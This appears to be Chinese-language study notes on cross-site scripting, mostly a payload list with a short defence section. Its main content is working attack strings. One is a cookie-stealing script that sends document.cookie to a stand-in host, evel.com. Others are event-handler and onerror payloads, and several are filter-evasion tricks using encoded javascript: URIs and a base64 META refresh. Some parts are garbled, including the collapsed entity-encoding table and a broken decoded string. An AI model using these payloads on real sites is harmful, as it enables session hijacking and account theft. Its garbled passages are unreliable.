xss pyload
直接参考:xss pyload攻击语句汇总
cooke劫持
一般放在script中。
# 远程请求xss 文件
url: http://a.com/test.html?abc="><script src=http://evel.com/eval.js ></script>"# evel.js的写法
<script>var img = document.createElement("img");img.src = "http://evel.com/log?" + escape(document.cookie);document.body.appendChild(img); </script>
XSS在属性中使用脚本
XSS攻击可能无需使用 标签即可进行。其他标签也会做完全相同的事情,例如: <body onload=alert('test1')>
或其他属性,例如:onmouseover,onerror
。
鼠标悬停
<b onmouseover=alert('Wufff!')>click me!</b>
错误
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
XSS通过编码的URI方案使用脚本
如果我们需要对Web应用程序过滤器隐藏,我们可以尝试对字符串字符进行编码,例如:a=A(UTF-8)并将其用于IMG标记中:
<IMG SRC=jAvascript:alert('test2')>
有许多不同的UTF-8编码符号为我们提供了更多的可能性。
XSS使用代码编码
我们可以在base64中对脚本进行编码,然后将其放置在META标记中。这样我们就alert()完全摆脱了。有关此方法的更多信息,请参见RFC 2397。
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
base64解码为:<script>alert('test3')</scriptPg
xss作用
- xss钓鱼
- 获取浏览器版本
- 识别用户安装软件版本
- 利用BeEF, xss proxy远控电脑
xss构造pyload
- 利用字符编码绕过:字节“%c1\” 组成 了一个新的 Unicode 字符,“% c1” 把 转义 符号“\” 给“ 吃掉 了”,
xss防御
- http_only: 浏览器将机制javascript访问带有http_only属性的Cookie
- 输入检测:最好是白名单检测,否则对<,>,’,"进行过滤或编码
- 输出检测:
& --> &
< --> < >
--> >
" --> "
' --> '
' 不 推荐
/ --> /
包含 反 斜线是因为它可 会闭合一些 HTML entity
在 PHP 中,有htmlentities() 和 htm lspecialchars() 两个 函数 可以 满足 安全 要求。
对xss进行检测有一点特别重要:**一定要在正确的地方进行检测, 想要 根治 XSS 问题, 可以列出所有 XSS 可能发生 的 场景, 再一一 解决 **, 具体参考书正确防御xss